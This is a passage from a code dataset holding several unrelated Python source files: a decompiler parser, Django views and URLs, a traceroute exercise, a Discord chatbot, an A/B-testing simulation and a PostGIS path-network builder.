parse38.Python38Parser(debug_parser)\n else:\n p = parse38.Python38ParserSingle(debug_parser)\n else:\n if compile_mode == \"exec\":\n p = parse3.Python3Parser(debug_parser)\n else:\n p = parse3.Python3ParserSingle(debug_parser)\n p.version = version\n # p.dump_grammar() # debug\n return p\n\n\nclass PythonParserSingle(PythonParser):\n def p_call_stmt_single(self, args):\n \"\"\"\n # single-mode compilation. Eval-mode interactive compilation\n # drops the last rule.\n\n call_stmt ::= expr PRINT_EXPR\n \"\"\"\n\n\ndef python_parser(\n version,\n co,\n out=sys.stdout,\n showasm=False,\n parser_debug=PARSER_DEFAULT_DEBUG,\n is_pypy=False,\n):\n \"\"\"\n Parse a code object to an abstract syntax tree representation.\n\n :param version: The python version this code is from as a float, for\n example 2.6, 2.7, 3.2, 3.3, 3.4, 3.5 etc.\n :param co: The code object to parse.\n :param out: File like object to write the output to.\n :param showasm: Flag which determines whether the disassembled and\n ingested code is written to sys.stdout or not.\n :param parser_debug: dict containing debug flags for the spark parser.\n :param is_pypy: True if we are running PyPY\n\n :return: Abstract syntax tree representation of the code object.\n \"\"\"\n\n assert iscode(co)\n from uncompyle6.scanner import get_scanner\n\n scanner = get_scanner(version, is_pypy)\n tokens, customize = scanner.ingest(co)\n maybe_show_asm(showasm, tokens)\n\n # For heavy grammar debugging\n # parser_debug = {'rules': True, 'transition': True, 'reduce' : True,\n # 'showstack': 'full'}\n\n p = get_python_parser(version, parser_debug)\n\n # FIXME: have p.insts update in a better way\n # modularity is broken here\n p.insts = scanner.insts\n p.offset2inst_index = scanner.offset2inst_index\n\n return parse(p, tokens, customize, co)\n\n\nif __name__ == \"__main__\":\n\n def parse_test(co):\n from xdis import PYTHON_VERSION_TRIPLE, IS_PYPY\n\n ast = python_parser(PYTHON_VERSION_TRIPLE, co, showasm=True, is_pypy=IS_PYPY)\n print(ast)\n return\n\n parse_test(parse_test.__code__)\n","repo_name":"rocky/python-uncompyle6","sub_path":"uncompyle6/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":29591,"program_lang":"python","lang":"en","doc_type":"code","stars":3383,"dataset":"github-code","pt":"37"} +{"seq_id":"24253245322","text":"from django.contrib.auth import REDIRECT_FIELD_NAME\nfrom django.contrib.auth import views\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.forms import AuthenticationForm\nfrom django.contrib.sites.shortcuts import get_current_site\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import render\nfrom django.template.response import TemplateResponse\nfrom django.views.decorators.cache import never_cache\nfrom django.views.decorators.csrf import csrf_protect\nfrom django_filters.views import FilterView\nfrom projects.form import ThesisInfoAddForm\nfrom projects.models import ThesisInfo\n\n\n@csrf_protect\n@never_cache\ndef login(request, template_name='registration/login.html',\n redirect_field_name=REDIRECT_FIELD_NAME,\n authentication_form=AuthenticationForm,\n extra_context=None, redirect_authenticated_user=False):\n \"\"\"\n Displays the login form and handles the login action.\n \"\"\"\n redirect_to = request.POST.get(redirect_field_name, request.GET.get(redirect_field_name, ''))\n\n if redirect_authenticated_user and request.user.is_authenticated:\n #redirect_to = _get_login_redirect_url(request, redirect_to)\n if redirect_to == request.path:\n raise ValueError(\n \"Redirection loop for authenticated user detected. Check that \"\n \"your LOGIN_REDIRECT_URL doesn't point to a login page.\"\n )\n return HttpResponseRedirect(redirect_to)\n elif request.method == \"POST\":\n form = authentication_form(request, data=request.POST)\n if form.is_valid():\n views.auth_login(request, form.get_user())\n return HttpResponseRedirect('/projects/index')\n else:\n form = authentication_form(request)\n current_site = get_current_site(request)\n\n context = {\n 'form': form,\n redirect_field_name: redirect_to,\n 'site': current_site,\n 'site_name': current_site.name,\n }\n if extra_context is not None:\n context.update(extra_context)\n return TemplateResponse(request, template_name, context)\n\n\nclass ThesisInfoListView(FilterView):\n def get_queryset(self):\n if self.request.user.username == 'admin':\n query_set = ThesisInfo.objects.all()\n if self.request.user.username == 'wangkai1':\n query_set = ThesisInfo.objects.filter(user=self.request.user)\n else:\n query_set = ThesisInfo.objects.all()\n return query_set\n def get_paginate_by(self, queryset):\n return self.paginate_by\n\nclass NoticeListView(FilterView):\n def get_paginate_by(self, queryset):\n return self.paginate_by\n\nclass MeetingInfoListView(FilterView):\n def get_paginate_by(self, queryset):\n return self.paginate_by\n\n@login_required\ndef indexView(request):\n return render(request, 'projects/index.html')\n\ndef add(request):\n template = 'projects/thesisInfo/add.html'\n if request.method == 'POST':\n form = ThesisInfoAddForm(request.POST, request.FILES)\n if form.is_valid():\n form.save()\n return HttpResponseRedirect('/projects/thesisInfoList')\n else:\n form = ThesisInfoAddForm()\n return render(request, template, {'form': form})\n\ndef upload(request):\n template = 'projects/thesisInfo/update.html'\n if request.method == 'POST':\n form = ThesisInfoAddForm(request.POST, request.FILES)\n if form.is_valid():\n form.save()\n return HttpResponseRedirect('/projects/thesisInfoList')\n else:\n form = ThesisInfoAddForm()\n return render(request, template, {'form': form})\n\n\n\n # @receiver(signals.post_init, sender=Notice)\n# def project_init_signal(instance, sender, **kwargs):\n# instance.__noticeid = instance.pk\n# instance.__meetingInfo = instance.meetingInfo\n# instance.__message = instance.message\n#\n# @receiver(signals.post_save, sender=Notice)\n# def notice_post_save(instance, created, raw, update_fields,sender, **kwargs):","repo_name":"iakisme/academic","sub_path":"projects/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"17962672191","text":"from socket import *\nimport os\nimport sys\nimport struct\nimport time\nimport select\nimport binascii\n \nICMP_ECHO_REQUEST = 8\nMAX_HOPS = 30\nTIMEOUT = 2.0\nTRIES = 1\n# The packet that we shall send to each router along the path is the ICMP echo\n# request packet, which is exactly what we had used in the ICMP ping exercise.\n# We shall use the same packet that we built in the Ping exercise\n \ndef checksum(string):\n csum = 0\n countTo = (len(string) // 2) * 2\n count = 0\n \n while count < countTo:\n thisVal = (string[count + 1]) * 256 + (string[count])\n csum += thisVal\n csum &= 0xffffffff\n count += 2\n \n if countTo < len(string):\n csum += (string[len(string) - 1])\n csum &= 0xffffffff\n \n csum = (csum >> 16) + (csum & 0xffff)\n csum = csum + (csum >> 16)\n answer = ~csum\n answer = answer & 0xffff\n answer = answer >> 8 | (answer << 8 & 0xff00)\n return answer\n \ndef build_packet():\n #Fill in start\n # In the sendOnePing() method of the ICMP Ping exercise ,firstly the header of our\n # packet to be sent was made, secondly the checksum was appended to the header and\n # then finally the complete packet was sent to the destination.\n \n # Make the header in a similar way to the ping exercise.\n # Append checksum to the header.\n\n myChecksum = 0\n # Make a dummy header with a 0 checksum\n # struct -- Interpret strings as packed binary data\n pid = os.getpid() & 0xFFFF\n header = struct.pack(\"bbHHh\", ICMP_ECHO_REQUEST, 0, myChecksum, pid, 1)\n data = struct.pack(\"d\", time.time())\n # Calculate the checksum on the data and the dummy header.\n myChecksum = checksum(header + data)\n\n # Get the right checksum, and put in the header\n if sys.platform == 'darwin':\n # Convert 16-bit integers from host to network byte order\n myChecksum = htons(myChecksum) & 0xffff\n else:\n myChecksum = htons(myChecksum)\n\n header = struct.pack(\"bbHHh\", ICMP_ECHO_REQUEST, 0, myChecksum, pid, 1)\n\n # Don't send the packet yet, just return the final packetin this function.\n # Fill in end\n \n # So the function ending should look like this\n\n packet = header + data\n return packet\n \ndef get_route(dest_hostname):\n timeLeft = TIMEOUT\n tracelist1 = [] #This is your list to use when iterating through each trace \n tracelist2 = [] #This is your list to contain all traces\n #print(\"dest_hostname: \", dest_hostname)\n destAddr = gethostbyname(dest_hostname)\n #print(\"destAddr: \", destAddr)\n \n for ttl in range(1,MAX_HOPS):\n for tries in range(TRIES):\n \n #Fill in start\n # Make a raw socket named mySocket\n icmp = getprotobyname(\"icmp\")\n mySocket = socket(AF_INET, SOCK_RAW, icmp)\n tracelist1 = []\n #Fill in end\n \n mySocket.setsockopt(IPPROTO_IP, IP_TTL, struct.pack('I', ttl))\n mySocket.settimeout(TIMEOUT)\n try:\n d = build_packet()\n mySocket.sendto(d, (dest_hostname, 0))\n t= time.time()\n startedSelect = time.time()\n whatReady = select.select([mySocket], [], [], timeLeft)\n howLongInSelect = (time.time() - startedSelect)\n if whatReady[0] == []: # Timeout\n tracelist1 = [str(ttl), \"*\", \"Request timed out\"]\n #Fill in start\n #You should add the list above to your all traces list\n tracelist2.append(tracelist1)\n #print(tracelist1)\n #Fill in end\n recvPacket, addr = mySocket.recvfrom(1024)\n timeReceived = time.time()\n timeLeft = timeLeft - howLongInSelect\n if timeLeft <= 0:\n tracelist1 = [str(ttl), \"*\", \"Request timed out\"]\n #Fill in start\n #You should add the list above to your all traces list\n tracelist2.append(tracelist1)\n #print(tracelist1)\n #Fill in end\n except timeout:\n continue\n \n else:\n #Fill in start\n ms = str(round(howLongInSelect * 1000)) + \"ms\"\n\n #Fetch the icmp type from the IP packet\n ipHeader = recvPacket[0:20]\n ipHeaderStruct = struct.unpack(\"!BBHHHBBHBBBBBBBB\", ipHeader)\n\n ipHeader0 = ipHeaderStruct[0]\n #print(f\"field0: {ipHeader0:#x}\")\n ipVersion = ipHeader0 // 16\n ihl = ipHeader0 % 16\n #print(f\"ipVersion: {ipVersion}\")\n #print(f\"ihl: {ihl}\")\n\n ipHeader1 = ipHeaderStruct[1]\n #print(f\"field1: {ipHeader1:#x}\")\n\n #print(f\"raw: {ipHeaderStruct[0]:#x} {ipHeaderStruct[1]:#x} {ipHeaderStruct[2]:#x} {ipHeaderStruct[3]:#x}\")\n ipTotalLength = ipHeaderStruct[2]\n #print(f\"ipTotalLength: {ipTotalLength}\")\n recvTtl = ipHeaderStruct[5]\n #print(f\"ttl: {recvTtl}\")\n\n protocol = ipHeaderStruct[6]\n #print(f\"protocol: {protocol:#x}\")\n #print(f\"protocol: {protocol}\")\n\n sourceOctet1 = ipHeaderStruct[8]\n sourceOctet2 = ipHeaderStruct[9]\n sourceOctet3 = ipHeaderStruct[10]\n sourceOctet4 = ipHeaderStruct[11]\n sourceIP = f\"{sourceOctet1:d}.{sourceOctet2:d}.{sourceOctet3:d}.{sourceOctet4:d}\"\n #print(f\"source ip: {sourceOctet1:#x} {sourceOctet2:#x} {sourceOctet3:#x} {sourceOctet4:#x}\")\n #print(f\"source ip: {sourceOctet1:d}.{sourceOctet2:d}.{sourceOctet3:d}.{sourceOctet4:d}\")\n\n destOctet1 = ipHeaderStruct[12]\n destOctet2 = ipHeaderStruct[13]\n destOctet3 = ipHeaderStruct[14]\n destOctet4 = ipHeaderStruct[15]\n destIP = f\"{destOctet1:d}.{destOctet2:d}.{destOctet3:d}.{destOctet4:d}\" \n #print(f\"dest ip: {destOctet1:#x} {destOctet2:#x} {destOctet3:#x} {destOctet4:#x}\")\n #print(f\"dest ip: {destOctet1:d}.{destOctet2:d}.{destOctet3:d}.{destOctet4:d}\")\n #print(f\"dest ip: {destIP}\")\n\n icmpHeader = recvPacket[20:28] \n icmpHeaderStruct = struct.unpack(\"bbHHh\", icmpHeader)\n types = icmpHeaderStruct[0]\n #print (\"received type: \", types)\n code = icmpHeaderStruct[1]\n #print(\"received code: \", code)\n checksum = icmpHeaderStruct[2]\n #print(f'checksum: {checksum:#x}')\n #Fill in end\n try: #try to fetch the hostname\n #Fill in start\n #print(\"hostname: \", gethostbyaddr(sourceIP))\n if types == 0:\n #print(\"destAddr: \", destAddr)\n #print(\"sourceIP: \", sourceIP)\n hostname = gethostbyaddr(destAddr)[0]\n else:\n hostname = gethostbyaddr(sourceIP)[0]\n #print(\"host: \", hostname) \n #Fill in end\n except herror: #if the host does not provide a hostname\n #Fill in start\n hostname=\"hostname not returnable\"\n #print(\"hostname not available\")\n #Fill in end\n \n if types == 11:\n bytes = struct.calcsize(\"d\")\n timeSent = struct.unpack(\"d\", recvPacket[28:28 + bytes])[0]\n #print(\"timeSent: \", timeSent)\n #print(\"howLongInSelect: \", howLongInSelect)\n #print(\"ms: \", ms)\n #Fill in start\n #You should add your responses to your lists here\n tracelist1 = [str(ttl), ms, sourceIP, hostname]\n tracelist2.append(tracelist1)\n #print(tracelist1)\n #Fill in end\n elif types == 3:\n bytes = struct.calcsize(\"d\")\n timeSent = struct.unpack(\"d\", recvPacket[28:28 + bytes])[0]\n #Fill in start\n #You should add your responses to your lists here \n tracelist1 = [str(ttl), ms, sourceIP, hostname]\n tracelist2.append(tracelist1)\n #print(tracelist1)\n #Fill in end\n elif types == 0:\n bytes = struct.calcsize(\"d\")\n timeSent = struct.unpack(\"d\", recvPacket[28:28 + bytes])[0]\n #Fill in start\n #You should add your responses to your lists here and return your list if your destination IP is met\n tracelist1 = [str(ttl), ms, sourceIP, hostname]\n tracelist2.append(tracelist1)\n #print(tracelist1)\n #print(tracelist2)\n return tracelist2\n #Fill in end\n else:\n #Fill in start\n #If there is an exception/error to your if statements, you should append that to your list here\n tracelist1 = [str(ttl), ms, sourceIP, hostname]\n tracelist2.append(tracelist1)\n #print(tracelist1)\n #Fill in end\n break\n finally:\n mySocket.close()\n \n\n return tracelist2\n\n# if __name__ == '__main__':\n# returned_list = get_route(\"www.google.com\")\n# print(returned_list)\n\n # for item_list in returned_list:\n # item = item_list[0]\n # print(item[0], \"\\t\", item[1], \"\\t\", item[2], end=\"\")\n # if len(item) > 3:\n # print(\"\\t\", item[3])\n # else:\n # print()\n ","repo_name":"jd4633/traceroute","sub_path":"solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":10021,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70566806509","text":"#coding: utf-8\nfrom bson.objectid import ObjectId\nfrom config import config\nimport response\n\ndef deleteById(obj):\n taskId = obj.get_argument(\"id\")\n\n code = 201\n msg = \"fail\"\n if taskId:\n result = config.mongo.delete(\"tasks\", {\"_id\": ObjectId(taskId)})\n if result[\"n\"] == 1 and result[\"ok\"] == 1:\n code = 200\n msg = \"success\"\n response.Response(obj, code, msg)","repo_name":"zachcr/gandalf","sub_path":"controller/deleteCtl.py","file_name":"deleteCtl.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"4945030512","text":"import openai\nimport discord\nimport os\n\nopenai.api_type = \"azure\"\nopenai.api_version = \"2023-03-15-preview\"\n\nGUILD=\"{Precious-MJ-Server}\"\nclient= discord.Client(intents=discord.Intents.default())\nopenai.api_key = os.environ.get(\"API_KEY\")\nDISCORD_TOKEN = os.environ.get(\"DISCORD_TOKEN\")\nopenai.api_base = os.environ.get(\"API_BASE\")\n\n@client.event\nasync def on_ready():\n for guild in client.guilds:\n if guild.name == GUILD:\n break\n print (f'{client.user} has connected to discord!')\n\n@client.event\nasync def on_message(message):\n\t\n\tif message.author == client.user:\n\t\treturn\n\t\n\tif message.mention_everyone:\n\t\treturn\n\t\n\telif client.user.mentioned_in(message): \n\t\tresponse = openai.ChatCompletion.create(\n\t\t\tengine=\"GPT-4\",\n\t\t\tmessages=[\n\t\t\t{\"role\": \"system\", \"content\": \"You have a sense of adult humour who gives people directions who is funny, reponsed to each question once and keep them short\"},\n\t\t\t{\"role\": \"user\", \"content\": message.content}\n\t\t\t]\n\t\t)\n\t\tawait message.channel.send(response.choices[0].message.content)\n\nclient.run(DISCORD_TOKEN)\n","repo_name":"PreciousAsh/discordbot","sub_path":"Bot.py","file_name":"Bot.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6534963240","text":"from django.conf.urls import url\r\nfrom . import views\r\n\r\n\r\nurlpatterns = [\r\n url(r'^$', views.post_list, name='post_list'),\r\n url(r'^(?P<pk>[0-9]+)/$', views.items, name='itempage'),\r\n url(r'^test/', views.test, name='mainpage'),\r\n url(r'^register/$', views.RegistrationFormView.as_view(), name=\"register\"),\r\n url(r'^login/$', views.LoginFormView.as_view(), name=\"login\"),\r\n url(r'^logout/$', views.LogoutView.as_view(), name=\"logout\"),\r\n url(r'^addtocomment/(?P<pk>\\d+)/$', views.addtocomment, name='addtocomment'),\r\n url(r'^page/(\\d+)/$', views.post_list, name='pages'),\r\n url(r'^edit/$', views.add)\r\n]\r\n","repo_name":"Vovan205/homework","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28781537524","text":"import os\r\nimport sys\r\nsys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '..')))\r\n\r\nimport src.strategy\r\nimport src.page\r\n\r\n\r\n\r\ndef run(trials, strategies, pages):\r\n\r\n # {strategy name: {total: ..., page name 1: ..., ...}}\r\n results = {}\r\n\r\n for s in strategies:\r\n \r\n name = s.name\r\n page_totals = {p.name: 0 for p in pages}\r\n \r\n # Set up strategy\r\n agent = s\r\n total = 0\r\n \r\n # Simulate 'trials' number of people accessing a page\r\n for t in range(trials):\r\n # Choose a page to show them\r\n page = agent.choice()\r\n # See if the person converts\r\n result = page.test()\r\n \r\n if result:\r\n total += 1\r\n page_totals[page.name] += 1\r\n \r\n agent.update(page, result)\r\n \r\n page_totals['total'] = total\r\n results[name] = page_totals\r\n \r\n return(results)\r\n \r\nif __name__ == \"__main__\":\r\n TRIALS = 20000\r\n PAGES = src.page.getBernoulliPageList([0.04, 0.06])\r\n AGENTS = [\r\n src.strategy.RandomStrategy(PAGES),\r\n src.strategy.EpsilonGreedyStrategy(PAGES, 0.2),\r\n src.strategy.EpsilonFirstStrategy(PAGES, 2000),\r\n src.strategy.EpsilonDecreasingStrategy(PAGES, 0.2, 0.99),\r\n src.strategy.ThompsonSamplingStrategy(PAGES)\r\n ]\r\n results = run(TRIALS, AGENTS, PAGES)\r\n print(results)","repo_name":"maxsmartofficial/ab_testing_strategy","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"43360250702","text":"from typing import Optional\n\nfrom nonebot import get_driver\nfrom pydantic import BaseModel, validator\n\n\nclass ConfigModel(BaseModel):\n proxy: Optional[str] = None\n either_choice_timeout: Optional[int] = None\n either_choice_retry: int = 2\n either_choice_lang: str = \"zh-CN\"\n either_choice_allow_public: str = \"true\"\n either_choice_force_ask: bool = True\n either_choice_pic_width: int = 1280\n either_choice_main_font: str = (\n \"'Microsoft YaHei UI', 'Microsoft YaHei', \"\n \"'Source Han Sans CN', 'Source Han Sans SC', \"\n \"'PingFang SC', 'Hiragino Sans GB', 'WenQuanYi Micro Hei', sans-serif\"\n )\n either_choice_code_font: str = (\n \"'JetBrains Mono', 'JetBrainsMono Nerd Font', \"\n \"'Victor Mono', 'VictorMono Nerd Font', \"\n \"'Fira Code', 'FiraCode Nerd Font', \"\n \"'Cascadia Code', 'CascadiaCode Nerd Font', \"\n \"'Consolas', 'Courier New', monospace\"\n )\n\n @validator(\"either_choice_allow_public\", pre=True)\n def either_choice_allow_public_validator(cls, v): # noqa: N805\n v = str(v).lower()\n if v in (\"true\", \"false\"):\n return v\n raise ValueError(\"`either_choice_allow_public` must be `true` or `false`\")\n\n\nconfig: ConfigModel = ConfigModel.parse_obj(get_driver().config.dict())\n","repo_name":"lgc-NB2Dev/nonebot-plugin-eitherchoice","sub_path":"nonebot_plugin_eitherchoice/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1300,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"37"} +{"seq_id":"31828965892","text":"import psycopg2\nfrom psycopg2.extras import DictCursor\nimport requests\nimport json\nimport os\n\ndef truncateTables(conn, cur):\n cur.execute('TRUNCATE TABLE paths_elements_ref')\n cur.execute('TRUNCATE TABLE path_links')\n cur.execute('TRUNCATE TABLE access_spaces')\n conn.commit()\n\n\ndef insertPathsElementsRefSQL(cur, pathId, osm_type, osm_id):\n cur.execute(\n \"INSERT INTO paths_elements_ref (path_id, osm_type, osm_id) VALUES (%s, %s, %s) ON CONFLICT DO NOTHING\",\n (pathId, osm_type, osm_id)\n )\n\ndef insertPathsElementsRef(cur, pathId, edges):\n # ways with id == 0 are additional edges generated from PPR, that are part of the path\n # those are not inserted into the paths_elements_ref database, because they won't add additional tags to the path\n # crossed ways (negative osm way id) are included, but only the absolute value (the crossed way) is inserted\n\n for edge in edges:\n if edge[\"edge_type\"] == \"crossing\":\n # insert the osm way id of the crossing\n # include the nodes coming from and going to the crossing\n if edge[\"crossing_type\"] == \"generated\":\n # crossing, that is not part of the OSM data, generated by PPR\n # from and to node are the same, except when one of the nodes is zero\n # (e.g. when the path starts or ends at a connection generated by PPR)\n if edge[\"from_node_osm_id\"] != 0:\n insertPathsElementsRefSQL(cur, pathId, 'N', edge[\"from_node_osm_id\"])\n else:\n insertPathsElementsRefSQL(cur, pathId, 'N', edge[\"to_node_osm_id\"])\n insertPathsElementsRefSQL(cur, pathId, 'W', abs(edge[\"osm_way_id\"]))\n else:\n # crossing, that is part of the OSM data\n if edge[\"from_node_osm_id\"] != edge[\"to_node_osm_id\"]:\n # from and to node are different, so the crossing is a way\n insertPathsElementsRefSQL(cur, pathId, 'N', edge[\"from_node_osm_id\"])\n insertPathsElementsRefSQL(cur, pathId, 'N', edge[\"to_node_osm_id\"])\n else:\n # from and to node are the same, so the crossing is a node\n # negative value of osm_way_id is the id of the node\n insertPathsElementsRefSQL(cur, pathId, 'N', edge[\"from_node_osm_id\"])\n insertPathsElementsRefSQL(cur, pathId, 'W', abs(edge[\"osm_way_id\"]))\n elif edge[\"edge_type\"] == \"elevator\":\n # insert the osm node id of the elevator\n # negative value of osm_way_id is the id of the node\n insertPathsElementsRefSQL(cur, pathId, 'N', abs(edge[\"osm_way_id\"]))\n else:\n # \"normal\" case (footpath and street): insert the osm way id of the edge\n if edge[\"osm_way_id\"] != 0:\n insertPathsElementsRefSQL(cur, pathId, 'W', abs(edge[\"osm_way_id\"]))\n\n\ndef insertPathLink(cur, relation_id, pathLink, id_from, id_to, level):\n edgeList = [f\"{edge[0]} {edge[1]}\" for edge in pathLink]\n linestring = \"LINESTRING(\" + \",\".join(edgeList) + \")\"\n \n # use 'INSERT INTO ... ON CONFLICT DO NOTHING' to avoid duplicate entries\n # 'RETURNING path_id' returns the generated path_id\n cur.execute(\n 'INSERT INTO path_links (stop_area_relation_id, start_node_id, end_node_id, geom, level) VALUES (%s, %s, %s, ST_GeomFromText(%s, 4326), %s) ON CONFLICT DO NOTHING RETURNING path_id',\n (relation_id, id_from, id_to, linestring, level)\n )\n \n path_id = cur.fetchone()\n if path_id:\n return path_id[0] # return the path_id generated by the database\n else:\n return None\n \n\ndef insertAccessSpaces(cur, currentEdge, previousEdge, relation_id):\n edge_type = currentEdge[\"edge_type\"]\n street_type = currentEdge[\"street_type\"]\n \n if edge_type == \"elevator\" or street_type == \"stairs\" or street_type == \"escalator\":\n # going into the elevator/stairs/escalator: use level from the previous edge\n # this might fail if two special cases are directly connected (e.g. escalator to stairs)\n current_level = previousEdge[\"level\"]\n else:\n # normal case: use current level\n current_level = currentEdge[\"level\"]\n \n # create unique id for the access space, that will be filled into the 'IFOPT' column\n # 'STOP_PLACE'_'OSM_NODE_ID':'LEVEL_IF_EXISTS'\n newDHID = str(relation_id) + \"_\" + str(currentEdge[\"from_node_osm_id\"]) + \":\" + (str(current_level) if current_level != None else \"\")\n geomString = \"POINT(\" + str(currentEdge[\"path\"][0][0]) + \" \" + str(currentEdge[\"path\"][0][1]) + \")\"\n \n try:\n # use INSERT INTO ... ON CONFLICT DO NOTHING to avoid duplicate entries\n cur.execute(\n 'INSERT INTO access_spaces (osm_id, relation_id, \"level\", \"IFOPT\", tags, geom) VALUES (%s, %s, trim_scale(%s), %s, %s, ST_GeomFromText(%s, 4326)) ON CONFLICT DO NOTHING',\n (currentEdge[\"from_node_osm_id\"], relation_id, current_level, newDHID, None, geomString)\n )\n except Exception as e:\n exit(e)\n\n return newDHID, current_level\n\n\ndef requiresAccessSpace(currentEdge, previousEdge):\n # access spaces are required, when there is:\n # - 1) a transition from a edge_type to another (e.g. from 'footway' to 'elevator')\n # - 2) a transition from a street_type to another (e.g. from a 'footway' to 'stairs')\n \n # Logical structure of the id generation for access spaces:\n # level: 0 1 0 -1 0\n # OSM: (id_1) ---Footway--- (id_2) ---Stairs--- (id_3) ---Elevator--- (id_3) ---Footway--- (id_4) ---Escalator--- (id_5)\n # access spaces: ----------- [X] --------------- [X] ----------------- [X] ---------------- [X] ----------------- [X] ------------\n # id(id,level): ----------------- (id_2,NULL) --------- (id_3,1) ----------- (id_3,-1) --------- (id_4,NULL) --------------------\n \n \n # Special cases:\n \n # Elevators:\n # Their 'osm_way_id', 'from_node_osm_id' and 'to_node_osm_id' are the same. One elevator can have multiple levels, and therefore multiple access spaces.\n # So the elevators access spaces are identified by the level of the previous edge when stepping into the elevator,\n # and the level of the current edge when stepping out of the elevator.\n \n # Escalators:\n # Their level is dependent on the direction of the path. So the access spaces are identified by the level of the previous edge when going into the escalator,\n # and the level of the current edge when going out of the escalator.\n \n # Stairs:\n # They always have the same level, regardless of the direction. So the access spaces are identified by the level of the previous edge when going into the stairs,\n # and the level of the current edge when going out of the stairs.\n \n special_edge_types = [\"elevator\"]\n special_street_types = [\"stairs\", \"escalator\", \"moving_walkway\"]\n \n edge_type = currentEdge[\"edge_type\"]\n previousEdge_type = previousEdge[\"edge_type\"]\n street_type = currentEdge[\"street_type\"]\n previous_street_type = previousEdge[\"street_type\"]\n \n if( # 1) transition from one edge_type to another\n edge_type != previousEdge_type and\n (edge_type in special_edge_types or previousEdge_type in special_edge_types)\n )\\\n or( # 2) transition from one street_type to another\n street_type != previous_street_type and\n (street_type in special_street_types or previous_street_type in special_street_types)\n ):\n return True\n return False\n \n\ndef createPathNetwork(cur, edges, relation_id, dhid_from, dhid_to):\n edgeIter = iter(edges)\n firstEdge = next(edgeIter)\n previousEdge = firstEdge\n previousDHID = dhid_from\n fromLevel = firstEdge[\"level\"]\n toLevel = firstEdge[\"level\"]\n \n # create 'pathLink' that will be inserted into the database\n # - a pathLink is a list of two nodes (stop_area_element and/or access_space), that are connected by one or multiple edges\n # - an edge can consist multiple nodes (polyline)\n pathLink = firstEdge[\"path\"]\n pathLinkEdges = [firstEdge] # all edges that are part of the pathLink\n \n for edge in edgeIter:\n if requiresAccessSpace(previousEdge, edge): # checks whether the given parameters need the creation of an access space\n newDHID, toLevel = insertAccessSpaces(cur, edge, previousEdge, relation_id) # returns a newly created DHID for the access space and the level of the access space\n pathId = insertPathLink(cur, relation_id, pathLink, previousDHID, newDHID, toLevel - fromLevel)\n if pathId:\n insertPathsElementsRef(cur, pathId, pathLinkEdges)\n pathLink = edge[\"path\"] # create a new pathLink consisting of the current edge\n pathLinkEdges = [edge]\n previousDHID = newDHID\n fromLevel = toLevel\n else:\n # append all but the first node of the edge, because the first node is the same as the last node of the previous edge\n # use extend, because there can be multiple nodes in the edge (polyline)\n pathLink.extend(edge[\"path\"][1:])\n pathLinkEdges.append(edge)\n toLevel = edge[\"level\"]\n\n previousEdge = edge\n \n # the last part of the path is not inserted yet (between the last access space and the stop_area_element 'dhid_to')\n pathId = insertPathLink(cur, relation_id, pathLink, previousDHID, dhid_to, toLevel - fromLevel)\n \n if pathId:\n insertPathsElementsRef(cur, pathId, pathLinkEdges)\n \n\ndef insertPGSQL(cur, insertRoutes, start, stop):\n # PPR can return multiple possible paths for one connection:\n for route in insertRoutes:\n edges = route[\"edges\"]\n # distance = route[\"distance\"]\n relation_id = stop[\"relation_id\"]\n\n createPathNetwork(cur, edges, relation_id, start[\"IFOPT\"], stop[\"IFOPT\"])\n\n\ndef makeRequest(url, payload, start, stop):\n payload[\"start\"][\"lat\"] = start[\"lat\"]\n payload[\"start\"][\"lng\"] = start[\"lng\"]\n payload[\"destination\"][\"lat\"] = stop[\"lat\"]\n payload[\"destination\"][\"lng\"] = stop[\"lng\"]\n\n try:\n response = requests.post(url, json=payload)\n except Exception as e:\n exit(e)\n\n if response.status_code != 200:\n exit(f'Request failed with status code {response.status_code}: {response.text}')\n\n return response.json()\n\n\ndef main():\n # Connect to PostgreSQL database\n conn = psycopg2.connect(\n host = os.environ['host_postgis'],\n port = os.environ['port_postgis'],\n database = os.environ['db_postgis'],\n user = os.environ['user_postgis'],\n password = os.environ['password_postgis']\n )\n\n # Open a cursor to perform database operations\n cur = conn.cursor(cursor_factory=DictCursor)\n \n # Truncate tables (delete all rows from previous runs)\n truncateTables(conn, cur)\n\n url = 'http://' + os.environ['host_ppr'] + ':8000/api/route'\n payload = {\n \"start\": {\n },\n \"destination\": {\n },\n \"include_infos\": True,\n \"include_full_path\": True,\n \"include_steps\": True,\n \"include_steps_path\": False,\n \"include_edges\": True,\n \"include_statistics\": True\n }\n\n try:\n with open(\"profiles/include_accessible.json\", \"r\") as f:\n payload[\"profile\"] = json.load(f)\n except Exception as e:\n conn.close()\n exit(e)\n \n stop_area_elements = {}\n\n try:\n # get all relevant stop areas\n # SRID in POSTGIS is default set to 4326 --> x = lng, Y = lat\n cur.execute(\n 'SELECT stop_area_osm_id as relation_id, category, id as \"IFOPT\", ST_X(geom) as lng, ST_Y(geom) as lat FROM stop_area_elements'\n )\n result = cur.fetchall()\n for entry in result:\n # create a dictionary where the keys are the relation_ids of the stop_areas\n # and the values are a list of dictionaries containing all elements of that area\n if entry[\"relation_id\"] not in stop_area_elements:\n stop_area_elements[entry[\"relation_id\"]] = [dict(entry)]\n else:\n stop_area_elements[entry[\"relation_id\"]].append(dict(entry))\n\n except Exception as e:\n conn.close()\n exit(e)\n\n # Iterate through all stop areas to get the path between 